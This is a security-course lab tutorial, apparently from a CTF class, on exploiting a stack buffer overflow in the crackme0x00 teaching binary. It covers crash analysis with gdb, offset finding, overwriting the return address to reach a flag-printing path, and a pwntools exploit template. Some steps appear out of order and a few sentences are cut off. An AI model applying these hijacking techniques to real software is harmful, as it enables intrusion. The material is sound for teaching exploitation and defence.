Tut03: Writing Your First Exploit
In this tutorial, you will learn, for the first time, how to write a control-flow hijacking attack that exploits a buffer overflow vulnerability.
Step 1: Understanding crashing state
There are a few ways to check the status of the last segmentation fault:
/tmp/input should be your secret file under
$ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /tmp/[secret]/input $ gdb ./crackme0x00 > run </tmp/[secret]/input Starting program: ./crackme0x00 </tmp/[secret]/input IOLI Crackme Level 0x00 Password: Invalid Password! Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
checking logging messages (if you are working on your local machine)
$ dmesg | tail -1 [19513751.485863] crackme0x00: segfault at 41414141 ip 000000000804873c sp 00000000ffffd668 error 4 in crackme0x00[8048000+1000] * NOTE: We disable dmesg for the class. You will be able to run dmesg from your local environment.
checking logging message (if you are working on our server)
Only when you are working under
/tmp/, our server stores dmesg-like logging information for you whenever a lab challenge crashes. For example, you can find a logging output, named
core_info, under your
/tmp/[secret]directory if you crash our tutorial binary,
$ mkdir /tmp/[secret]/ $ cd /tmp/[secret]/ $ cat /tmp/[secret]/input | /home/lab03/tut03-stackovfl/crackme0x00 ... $ ls core_info $ cat core_info [New LWP 18] Core was generated by `/home/lab03/tut03-stackovfl/crackme0x00'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x41414141 in ?? () eax 0x0 0 ecx 0x804b160 134525280 edx 0xf7fbe890 -134485872 ebx 0x0 0 esp 0xffffd5e8 0xffffd5e8 ebp 0x41414141 0x41414141 esi 0xf7fbd000 -134492160 edi 0x0 0 eip 0x41414141 0x41414141 eflags 0x10292 [ AF SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99
Let's figure out which input tainted the instruction pointer.
$ echo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ > /tmp/[secret]/input $ ./crackme0x00 < /tmp/[secret]/input $ dmesg | tail -1 [19514227.904759] crackme0x00: segfault at 46464646 ip 0000000046464646 sp 00000000ffffd688 error 14 in libc-2.27.so[f7de5000+1d5000]
What's the current instruction pointer? You might need this help:
$ man ascii
You can also figure out the exact shape of the stack frame by looking at the instructions as well.
$ objdump -M intel-mnemonic -d crackme0x00 ... 080486b3 <start>: 80486b3: 55 push ebp 80486b4: 89 e5 mov ebp,esp 80486b6: 83 ec 10 sub esp,0x10 ... 80486d3: 8d 45 f0 lea eax,[ebp-0x10] 80486d6: 50 push eax 80486d7: 68 11 88 04 08 push 0x8048811 80486dc: e8 9f fd ff ff call 8048480 <scanf@plt> ...
|<- -0x10 ->|+--- ebp top v [ [buf] ][fp][ra] |<---- 0x10+0x10 ----->|
0x10 + 4 = 20, which is exactly the length of
FFFF will cover the
Step 0: Triggering a buffer overflow
Do you remember the crackme binaries (and its password)?
# login to the CTF server # ** check Canvas for login information! ** [host] $ ssh lab03@<ctf-server-address> $ cd tut03-stackovfl $ ./crackme0x00 IOLI Crackme Level 0x00 Password:
If you disassemble the binary (it's good time to fire Ghidra!), you may see these code snippet:
$ objdump -M intel-mnemonic -d crackme0x00 ... 80486d3: 8d 45 f0 lea eax,[ebp-0x10] 80486d6: 50 push eax 80486d7: 68 11 88 04 08 push 0x8048811 80486dc: e8 9f fd ff ff call 8048480 <scanf@plt> ...
What's the value of
%s, which means the
gets a string as an argument on
What happens if you inject a long string? Like below.
$ cd /tmp/[secret]/ $ ln -s ~/tut03-stackovfl/crackme0x00 $ echo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ | ./crackme0x00 IOLI Crackme Level 0x00 Password: Invalid Password! Segmentation fault (core dumped)
If you check the logging message (i.e., core_info), you will be able to observe which registers were affected by your input. Here, EBP is overwritten by EEEE (0x45454545), and the return address is overwritten by FFFF (0x46464646), as specified by the EIP register.
$ cat core_info [New LWP 92] Core was generated by `./crackme0x00'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x46464646 in ?? () eax 0x0 0 ecx 0x804b160 134525280 edx 0xf7fbe890 -134485872 ebx 0x0 0 esp 0xffffd698 0xffffd698 ebp 0x45454545 0x45454545 esi 0xf7fbd000 -134492160 edi 0x0 0 eip 0x46464646 0x46464646 eflags 0x10292 [ AF SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99
Step 2: Hijacking the control flow
In this tutorial, we are going to hijack the control flow of
by overwriting the instruction pointer. As a first step, let's make it print
Password OK :) without putting the correct password!
80486ed: e8 2e fd ff ff call 8048420 <strcmp@plt> 80486f2: 83 c4 08 add esp,0x8 80486f5: 85 c0 test eax,eax 80486f7: 75 31 jne 804872a <start+0x77> ->80486f9: 68 3e 88 04 08 push 0x804883e 80486fe: e8 6d fd ff ff call 8048470 <puts@plt> ... 804872c: 68 92 88 04 08 push 0x8048892 8048731: e8 3a fd ff ff call 8048470 <puts@plt> 8048736: 83 c4 10 add esp,0x10
We are going to jump to
0x80486f9 such that it prints out
Password OK :).
Which characters in input should be changed to
0x80486f9? Let me remind you
that x86 is a little-endian machine.
$ hexedit /tmp/[secret]/input
C-x will save your modification.
$ cat /tmp/[secret]/input | ./crackme0x00 IOLI Crackme Level 0x00 Password: Invalid Password! Password OK :) Segmentation fault
Step 3: Using Python template for exploit
Today's task is to modify a python template for exploitation. Please
edit the provided python script
(exploit.py) to hijack the control
crackme0x00! Most importantly, please hijack the control flow
to print out your flag in this unreachable code of the binary.
// Your input should be "250381" and "no way you can reach!" at the // same time! to get the flag. 8048706: 68 4d 88 04 08 push 0x804884d 804870b: 8d 45 f0 lea eax,[ebp-0x10] 804870e: 50 push eax 804870f: e8 0c fd ff ff call 8048420 <strcmp@plt> 8048714: 83 c4 08 add esp,0x8 8048717: 85 c0 test eax,eax 8048719: 75 1c jne 8048737 <start+0x84> ->804871b: 68 63 88 04 08 push 0x8048863 8048720: e8 d1 fe ff ff call 80485f6 <print_key>
In this template, we will start utilizing pwntools, which provides a set of libraries and tools to help writing exploits. Although we will cover the detail of pwntool in the next tutorial, you can have a glimpse of how it looks.
#!/usr/bin/env python2 import os import sys # import a set of variables/functions from pwntools into own namespace # for easy accesses from pwn import * if __name__ == '__main__': # p32/64 for 'packing' 32 or 64 bit # so given an integer, it returns a packed (i.e., encoded) bytestring assert p32(0x12345678) == b'\x00\x00\x00\x00' # Q1 assert p64(0x12345678) == b'\x00\x00\x00\x00\x00\x00\x00\x00' # Q2 payload = "Q3. your input here" # launch a process (with no argument) p = process(["./crackme0x00"]) # send an input payload to the process p.send(payload + "\n") # make it interactive, meaning that we can interact with # the process's input/output (via pseudo terminal) p.interactive()
To make this exploit working, you have to modify Q1-3 in the template.
If you'd like to practice more, can you make the exploit to gracefully exit the program after hijacking its control multiple times?
[Task] Modify the given template (exploit.py) to hijack the control flow, and print out the key.
Debugging tips and exec-wrapper
Let's discuss how we can utilize
set exec-wrapper feature in gdb to match the behaviors
of the process outside the debugger. When
exec-wrapper is set,
the specified wrapper is used to launch programs for debugging.
GDB starts your program with a shell command of the form exec wrapper program.
You can use any program that eventually calls execve with its arguments as a wrapper.
For example, you can use env to pass an environment variable to the debugged program, without setting the variable in your shell’s environment:
(gdb) set exec-wrapper env 'LD_PRELOAD=libtest.so' (gdb) run
For further reading about the wrapper, please refer to here.
Tip1: clear env variables
In order to get a predictable stack in a system that disabled ASLR,
set exec-wrapper env -i
can be set so that the program is started with an empty environment,
e.g., you can get a core dump with an empty environment while debugging.
$ mkdir /tmp/[redacted]/ $ cd /tmp/[redacted]/ $ gdb-pwndbg ~/tut03-stackovfl/crackme0x00 pwndbg> set exec-wrapper env -i pwndbg> r Starting program: /home/lab03/tut03-stackovfl/crackme0x00 IOLI Crackme Level 0x00 Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Invalid Password! Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () pwndbg> gcore Saved corefile core.545
Note that the
set exec-wrapper env -i is a
default feature on the lab server. If you do not
want to use this feature, please disable it before debugging, e.g.,
$ export SHELLCODE="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" $ gdb-pwndbg ~/jmp-to-env/target pwndbg> unset exec-wrapper pwndbg> r BBBB
Tip2: make stack addresses consistent
The reason why the stack addresses in gdb can be different from the raw target
(1) the env variables inside and outside gdb are different due to the fact
that gdb creates two new env variables called
(2) the special shell variable
_ contains an executable name or argument of
the previous command, and
(3) gdb always uses absolute paths, and it may be different from the path in
Hence, to make stack addresses consistent, we need to (1) use absolute path when executing in and outside gdb, e.g.,
$ env -u _ /home/lab03/jmp-to-env/target [input]
(2) remove extra env variables
pwndbg> set exec-wrapper env -u LINES -u COLUMNS -u _
by setting the exec-wrapper above, we can remove the three extra env variables while debugging so that match the environment outside.